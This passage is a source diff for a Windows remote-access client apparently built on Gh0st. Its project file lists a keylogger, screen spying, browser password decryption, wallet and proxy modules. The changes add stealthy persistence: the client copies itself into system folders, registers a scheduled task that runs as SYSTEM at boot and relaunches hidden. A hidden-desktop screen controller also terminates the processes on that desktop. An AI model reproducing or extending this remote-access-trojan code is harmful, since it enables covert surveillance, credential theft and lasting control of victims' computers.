||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="reg_startup.c" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenPreview.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ConnectionsManager.cpp" />
|
||||
<ClCompile Include="ServiceWrapper.c" />
|
||||
<ClCompile Include="session.cpp" />
|
||||
<ClCompile Include="SessionMonitor.c" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
|
||||
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||
<ClCompile Include="EncoderFactory.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="TlsChannel.cpp" />
|
||||
<ClCompile Include="ChatManager.cpp" />
|
||||
<ClCompile Include="MachineManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
<ClCompile Include="decrypt\DecryptManager.cpp">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\Get360seInfo.cpp">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\GetBrowserInfo.cpp">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\UnCode.cpp">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\sqlite3\rijndael.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\sqlite3\sqlite3.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\cJSON\cJSON.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\cJSON\cJSON_Utils.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="decrypt\base64\base64.c">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\file_upload.h" />
|
||||
<ClInclude Include="..\common\ikcp.h" />
|
||||
<ClInclude Include="..\common\mask.h" />
|
||||
<ClInclude Include="..\common\wallet.h" />
|
||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||
<ClInclude Include="ActivityHistory.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="auto_start.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="ClientApp.h" />
|
||||
<ClInclude Include="clip.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="domain_pool.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="file\FileManager.h" />
|
||||
<ClInclude Include="file\MasterEncoder.h" />
|
||||
<ClInclude Include="file\zip.h" />
|
||||
<ClInclude Include="screenhide\ScreenManagerBase.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideManager.h" />
|
||||
<ClInclude Include="screenhide\ScreenHideSpy.h" />
|
||||
<ClInclude Include="DrawingBoardMgr.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="keylogger.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="ClientLogManager.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="my_clip.h" />
|
||||
<ClInclude Include="proxy\ProxyManager.h" />
|
||||
<ClInclude Include="RegisterManager.h" />
|
||||
<ClInclude Include="RegisterOperation.h" />
|
||||
<ClInclude Include="reg_startup.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="SafeThread.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenPreview.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ConnectionsManager.h" />
|
||||
<ClInclude Include="ServiceWrapper.h" />
|
||||
<ClInclude Include="session.h" />
|
||||
<ClInclude Include="SessionMonitor.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||
<ClInclude Include="EncoderFactory.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="VideoEncoderBase.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="TlsChannel.h" />
|
||||
<ClInclude Include="ChatManager.h" />
|
||||
<ClInclude Include="ChatDialogTemplate.h" />
|
||||
<ClInclude Include="TalkDialogTemplate.h" />
|
||||
<ClInclude Include="ImageResource.h" />
|
||||
<ClInclude Include="MachineManager.h" />
|
||||
<ClInclude Include="yapi.hpp" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
<ClInclude Include="decrypt\DecryptManager.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\Get360seInfo.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\GetBrowserInfo.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\UnCode.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\sqlite3\rijndael.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\sqlite3\sqlite3.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\sqlite3\sqlite3ext.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\cJSON\cJSON.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\cJSON\cJSON_Utils.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="decrypt\base64\base64.h">
|
||||
<Filter>decrypt</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico" />
|
||||
<Image Include="Res\msg.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Filter Include="decrypt">
|
||||
<UniqueIdentifier>{4b839e4d-0a78-4ee2-8965-bfb259b28273}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
+6
-1
@@ -450,7 +450,12 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
|
||||
param.User = g_Server.pwdHash;
|
||||
threadHandle = CreateThread(NULL, 0, run, ¶m, 0, NULL);
|
||||
} else if (fdwReason == DLL_PROCESS_DETACH) {
|
||||
if (threadHandle) TerminateThread(threadHandle, 0x20250619);
|
||||
if (threadHandle) {
|
||||
// DLL 卸载时强杀线程前记录日志,便于定位死锁。此处 Mprintf 在 release 被定义为空,
|
||||
// 且 DETACH 阶段 CRT 可能已不可用,故用内核 API OutputDebugStringA 输出。
|
||||
OutputDebugStringA("TerminateThread: DllMain DLL_PROCESS_DETACH\n");
|
||||
TerminateThread(threadHandle, 0x20250619);
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
+80
-16
@@ -30,7 +30,7 @@ inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wc
|
||||
MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize);
|
||||
}
|
||||
|
||||
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin)
|
||||
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin, BOOL systemBoot)
|
||||
{
|
||||
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
||||
if (FAILED(hr)) {
|
||||
@@ -139,11 +139,11 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
||||
hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection);
|
||||
if (SUCCEEDED(hr)) {
|
||||
ITrigger* pTrigger = NULL;
|
||||
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger);
|
||||
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, systemBoot ? TASK_TRIGGER_BOOT : TASK_TRIGGER_LOGON, &pTrigger);
|
||||
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
|
||||
if (SUCCEEDED(hr)) {
|
||||
// 普通用户需要指定具体用户
|
||||
if (!runasAdmin) {
|
||||
if (!systemBoot && !runasAdmin) {
|
||||
ILogonTrigger* pLogonTrigger = NULL;
|
||||
hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger);
|
||||
if (SUCCEEDED(hr)) {
|
||||
@@ -200,10 +200,18 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
||||
|
||||
// 权限配置
|
||||
IPrincipal* pPrincipal = NULL;
|
||||
if (runasAdmin && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
|
||||
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN);
|
||||
if ((runasAdmin || systemBoot) && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
|
||||
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN);
|
||||
if (FAILED(hr)) Mprintf("put_LogonType 失败,错误代码:%ld\n", hr);
|
||||
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
||||
if (systemBoot)
|
||||
{
|
||||
BSTR sys = SysAllocString(L"SYSTEM");
|
||||
hr = pPrincipal->lpVtbl->put_UserId(pPrincipal,sys);
|
||||
if (FAILED(hr))
|
||||
Mprintf("put_UserId失败:%ld\n", hr);
|
||||
SysFreeString(sys);
|
||||
}
|
||||
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, (runasAdmin || systemBoot) ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
|
||||
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
|
||||
pPrincipal->lpVtbl->Release(pPrincipal);
|
||||
} else {
|
||||
@@ -235,9 +243,9 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
|
||||
bstrTaskName,
|
||||
pTask,
|
||||
TASK_CREATE_OR_UPDATE,
|
||||
runasAdmin ? vUser : empty,
|
||||
systemBoot ? empty : (runasAdmin ? vUser : empty),
|
||||
empty,
|
||||
TASK_LOGON_INTERACTIVE_TOKEN,
|
||||
systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN,
|
||||
empty,
|
||||
&pRegisteredTask
|
||||
);
|
||||
@@ -289,6 +297,40 @@ BOOL IsRunningAsAdmin()
|
||||
return isAdmin;
|
||||
}
|
||||
|
||||
BOOL IsSystem()
|
||||
{
|
||||
HANDLE token = NULL;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
|
||||
return FALSE;
|
||||
|
||||
DWORD size = 0;
|
||||
GetTokenInformation(token, TokenUser, NULL, 0, &size);
|
||||
|
||||
PTOKEN_USER user = (PTOKEN_USER)malloc(size);
|
||||
if (!user) { CloseHandle(token); return FALSE; }
|
||||
|
||||
BOOL result = FALSE;
|
||||
if (GetTokenInformation(token, TokenUser, user, size, &size))
|
||||
{
|
||||
SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
|
||||
|
||||
PSID systemSid = NULL;
|
||||
AllocateAndInitializeSid(&nt, 1,
|
||||
SECURITY_LOCAL_SYSTEM_RID,
|
||||
0, 0, 0, 0, 0, 0, 0,
|
||||
&systemSid);
|
||||
|
||||
result = EqualSid(user->User.Sid, systemSid);
|
||||
|
||||
FreeSid(systemSid);
|
||||
}
|
||||
|
||||
free(user);
|
||||
CloseHandle(token);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
|
||||
{
|
||||
SHELLEXECUTEINFOA shExecInfo;
|
||||
@@ -329,10 +371,28 @@ BOOL CreateDirectoryRecursively(const char* path)
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
const char* GetInstallDirectory(const char * startupName)
|
||||
const char* GetInstallDirectory(const char * startupName, int flag)
|
||||
{
|
||||
static char folder[MAX_PATH] = { 0 };
|
||||
if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0) {
|
||||
char env[32] = { 0 };
|
||||
switch (flag) {
|
||||
case 1:
|
||||
strcpy(env, "ProgramFiles");
|
||||
break;
|
||||
case 2:
|
||||
strcpy(env, "SystemRoot"); // Windows 目录,通常 C:\Windows
|
||||
break;
|
||||
case 3:
|
||||
strcpy(env, "APPDATA"); // 当前用户的漫游应用数据目录,即 ...\AppData\Roaming
|
||||
break;
|
||||
case 4:
|
||||
strcpy(env, "LOCALAPPDATA"); // 当前用户的本地应用数据目录,即 ...\AppData\Local
|
||||
break;
|
||||
default: // 0
|
||||
strcpy(env, "ProgramData");
|
||||
break;
|
||||
}
|
||||
if (GetEnvironmentVariableA(env, folder, MAX_PATH) > 0) {
|
||||
size_t len = strlen(folder);
|
||||
if (len > 0 && folder[len - 1] != '\\') {
|
||||
folder[len] = '\\';
|
||||
@@ -348,7 +408,7 @@ const char* GetInstallDirectory(const char * startupName)
|
||||
return folder;
|
||||
}
|
||||
|
||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log)
|
||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log, int flag)
|
||||
{
|
||||
#ifdef _DEBUG
|
||||
return 1;
|
||||
@@ -359,7 +419,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
||||
if (GetUserNameA(username, &size)) {
|
||||
Mprintf("RegisterStartup is running with user: %s. Dir: %s, Name: %s\n", username, startupName, exeName);
|
||||
}
|
||||
const char *folder = GetInstallDirectory(startupName);
|
||||
const char *folder = GetInstallDirectory(startupName, flag);
|
||||
if (!folder) {
|
||||
return -1;
|
||||
}
|
||||
@@ -368,8 +428,12 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
||||
|
||||
char dstFile[MAX_PATH] = { 0 };
|
||||
sprintf(dstFile, "%s\\%s.exe", folder, exeName);
|
||||
BOOL isAdmin = IsRunningAsAdmin();
|
||||
if (isAdmin) runasAdmin = true;
|
||||
BOOL isAdmin = IsRunningAsAdmin() || IsSystem();
|
||||
bool bootRun = false;
|
||||
if (isAdmin) {
|
||||
bootRun = runasAdmin == 2;
|
||||
runasAdmin = true;
|
||||
}
|
||||
if (_stricmp(curFile, dstFile) != 0) {
|
||||
if (!isAdmin) {
|
||||
if (runasAdmin) {
|
||||
@@ -389,7 +453,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
||||
Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n",
|
||||
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
|
||||
|
||||
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin);
|
||||
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin, bootRun);
|
||||
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
||||
if (b && status) {
|
||||
int ret = (int)ShellExecuteA(NULL, "open", dstFile, NULL, NULL, SW_HIDE);
|
||||
@@ -398,7 +462,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
||||
|
||||
return 0;
|
||||
}
|
||||
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin);
|
||||
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin, bootRun);
|
||||
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
||||
if (lockFile)
|
||||
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
@@ -1,12 +1,13 @@
|
||||
#pragma once
|
||||
#include <stdbool.h>
|
||||
|
||||
const char* GetInstallDirectory(const char* startupName);
|
||||
const char* GetInstallDirectory(const char* startupName, int flag);
|
||||
|
||||
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
|
||||
|
||||
// return > 0 means to continue running else terminate.
|
||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log);
|
||||
// runasAdmin: 0-普通权限 1-管理员 2-STYSTEM; 必须有管理员权限才能设置1或2
|
||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log, int flag);
|
||||
|
||||
// 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
|
||||
bool IsSystemInSession0();
|
||||
+7
-2
@@ -9,14 +9,19 @@
|
||||
#define IDI_ICON2 105
|
||||
#define IDI_ICON_MSG 105
|
||||
#define IDC_EDIT_MESSAGE 1000
|
||||
#define IDD_CHAT 106
|
||||
#define IDC_EDIT_CHATLOG 1001
|
||||
#define IDC_EDIT_NEWMSG 1002
|
||||
#define IDC_BUTTON_SEND 1003
|
||||
#define IDC_BUTTON_END 1004
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 106
|
||||
#define _APS_NEXT_RESOURCE_VALUE 107
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1005
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
||||
@@ -0,0 +1,615 @@
|
||||
// ScreenManagers.cpp: implementation of the CScreenHideManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
#include "StdAfx.h"
|
||||
#include <Windowsx.h>
|
||||
#include "ScreenHideManager.h"
|
||||
#include <WinUser.h>
|
||||
#include <string>
|
||||
#include <Shlwapi.h>
|
||||
#include <ShlObj.h>
|
||||
#include <Tlhelp32.h>
|
||||
#include <shellapi.h>
|
||||
#include <winioctl.h>
|
||||
#include <Wtsapi32.h>
|
||||
#include <set>
|
||||
#include <vector>
|
||||
|
||||
|
||||
#pragma comment (lib, "Shlwapi.lib")
|
||||
|
||||
namespace SimplePluginsScreenHide {
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
|
||||
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
|
||||
// 切换到目标桌面
|
||||
if (!SetThreadDesktop(hDesk)) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 枚举目标桌面的所有窗口
|
||||
BOOL bFound = FALSE;
|
||||
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
|
||||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
|
||||
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
|
||||
|
||||
DWORD dwProcessId;
|
||||
GetWindowThreadProcessId(hWnd, &dwProcessId);
|
||||
|
||||
// 获取进程名
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
|
||||
if (hProcess) {
|
||||
char exePath[MAX_PATH];
|
||||
DWORD size = MAX_PATH;
|
||||
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
|
||||
if (_stricmp(exePath, pData->first) == 0) {
|
||||
*(pData->second) = TRUE;
|
||||
return FALSE; // 终止枚举
|
||||
}
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
return TRUE; // 继续枚举
|
||||
}, reinterpret_cast<LPARAM>(&data));
|
||||
|
||||
return bFound;
|
||||
}
|
||||
|
||||
// 获取指定桌面下的所有进程ID
|
||||
std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
|
||||
std::set<DWORD> pidSet;
|
||||
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
|
||||
|
||||
if (SetThreadDesktop(hDesk)) {
|
||||
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
|
||||
auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
|
||||
|
||||
// 跳过不可见窗口和子窗口
|
||||
if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
|
||||
DWORD pid = 0;
|
||||
GetWindowThreadProcessId(hWnd, &pid);
|
||||
if (pid != 0) pids.insert(pid);
|
||||
}
|
||||
return TRUE;
|
||||
}, reinterpret_cast<LPARAM>(&pidSet));
|
||||
SetThreadDesktop(hOriginalDesk);
|
||||
}
|
||||
|
||||
return std::vector<DWORD>(pidSet.begin(), pidSet.end());
|
||||
}
|
||||
|
||||
bool IsSystemProcess(DWORD pid) {
|
||||
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (!hProcess) return true;
|
||||
|
||||
char exeName[MAX_PATH];
|
||||
DWORD size = MAX_PATH;
|
||||
bool isSystem = false;
|
||||
|
||||
if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
|
||||
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
|
||||
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
|
||||
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
|
||||
isSystem = (_stricmp(exeName, szExplorerFile)==0);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
return isSystem;
|
||||
}
|
||||
|
||||
void SafeTerminateDesktopProcesses(HDESK hDesk) {
|
||||
// 检查桌面句柄有效性
|
||||
if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
|
||||
|
||||
// 获取当前桌面(用于恢复)
|
||||
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
|
||||
if (!hOriginalDesk) {
|
||||
Mprintf("Failed to get original desktop\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// 切换桌面
|
||||
if (!SetThreadDesktop(hDesk)) {
|
||||
Mprintf("SetThreadDesktop failed\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// 枚举进程
|
||||
auto pids = GetProcessIdsInDesktop(hDesk);
|
||||
SetThreadDesktop(hOriginalDesk); // 立即恢复
|
||||
|
||||
// 终止进程
|
||||
for (DWORD pid : pids) {
|
||||
if (pid == GetCurrentProcessId()) continue; // 跳过自己
|
||||
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
|
||||
if (!hProcess) {
|
||||
Mprintf("OpenProcess failed for PID: %d\n", pid);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 检查是否为系统进程
|
||||
if (IsSystemProcess(pid)) {
|
||||
CloseHandle(hProcess);
|
||||
continue;
|
||||
}
|
||||
|
||||
// 终止进程
|
||||
if (!TerminateProcess(hProcess, 0)) {
|
||||
Mprintf("TerminateProcess failed for PID: %d\n", pid);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
void CopyDir(TCHAR* from, TCHAR* to)
|
||||
{
|
||||
TCHAR fromWildCard[MAX_PATH] = { 0 };
|
||||
lstrcpy(fromWildCard, from);
|
||||
lstrcat(fromWildCard, _T("\\*"));
|
||||
|
||||
if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
|
||||
return;
|
||||
WIN32_FIND_DATA findData;
|
||||
HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
|
||||
if (hFindFile == INVALID_HANDLE_VALUE)
|
||||
return;
|
||||
|
||||
do {
|
||||
TCHAR currFileFrom[MAX_PATH] = { 0 };
|
||||
lstrcpy(currFileFrom, from);
|
||||
lstrcat(currFileFrom, _T("\\"));
|
||||
lstrcat(currFileFrom, findData.cFileName);
|
||||
|
||||
TCHAR currFileTo[MAX_PATH] = { 0 };
|
||||
lstrcpy(currFileTo, to);
|
||||
lstrcat(currFileTo, _T("\\"));
|
||||
lstrcat(currFileTo, findData.cFileName);
|
||||
|
||||
if
|
||||
(
|
||||
findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
|
||||
strcmp(findData.cFileName, _T(".")) &&
|
||||
strcmp(findData.cFileName, _T(".."))
|
||||
) {
|
||||
if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
|
||||
CopyDir(currFileFrom, currFileTo);
|
||||
} else
|
||||
CopyFile(currFileFrom, currFileTo, FALSE);
|
||||
} while (FindNextFile(hFindFile, &findData));
|
||||
}
|
||||
|
||||
void killproc(const TCHAR* name)
|
||||
{
|
||||
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
|
||||
PROCESSENTRY32 pEntry;
|
||||
pEntry.dwSize = sizeof(pEntry);
|
||||
BOOL hRes = Process32First(hSnapShot, &pEntry);
|
||||
while (hRes) {
|
||||
if (strcmp(pEntry.szExeFile, name) == 0) {
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
|
||||
(DWORD)pEntry.th32ProcessID);
|
||||
if (hProcess != NULL) {
|
||||
TerminateProcess(hProcess, 9);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
hRes = Process32Next(hSnapShot, &pEntry);
|
||||
}
|
||||
CloseHandle(hSnapShot);
|
||||
}
|
||||
|
||||
CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) :
|
||||
CScreenManagerBase(pClient, nBitDepth, user)
|
||||
{
|
||||
m_DlgToken = TOKEN_BITMAPINFO_HIDE;
|
||||
}
|
||||
|
||||
CScreenHideManager::~CScreenHideManager()
|
||||
{
|
||||
}
|
||||
|
||||
VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
if (lpBuffer[0] == TOKEN_HEARTBEAT)
|
||||
return;
|
||||
|
||||
switch (lpBuffer[0]) {
|
||||
case COMMAND_FLUSH_HIDE:
|
||||
ResetScreen(32);
|
||||
break;
|
||||
case COMMAND_SCREEN_CONTROL:
|
||||
ProcessCommand(lpBuffer + 1, nSize - 1);
|
||||
break;
|
||||
case COMMAND_NEXT:
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
case COMMAND_SCREEN_GET_CLIPBOARD:
|
||||
SendClientClipboard();
|
||||
break;
|
||||
case COMMAND_SCREEN_SET_CLIPBOARD:
|
||||
UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
|
||||
break;
|
||||
case COMMAND_SCREEN_SETSCREEN_HIDE:
|
||||
Loop_Screen();
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY60_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(60);
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY85_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(85);
|
||||
break;
|
||||
case COMMAND_COMMAND_SCREENUALITY100_HIDE:
|
||||
m_ScreenSpyObject->SendQuality(100);
|
||||
break;
|
||||
case COMMAND_HIDE_USER: {
|
||||
return OnUserCommand(lpBuffer, nSize);
|
||||
}
|
||||
break;
|
||||
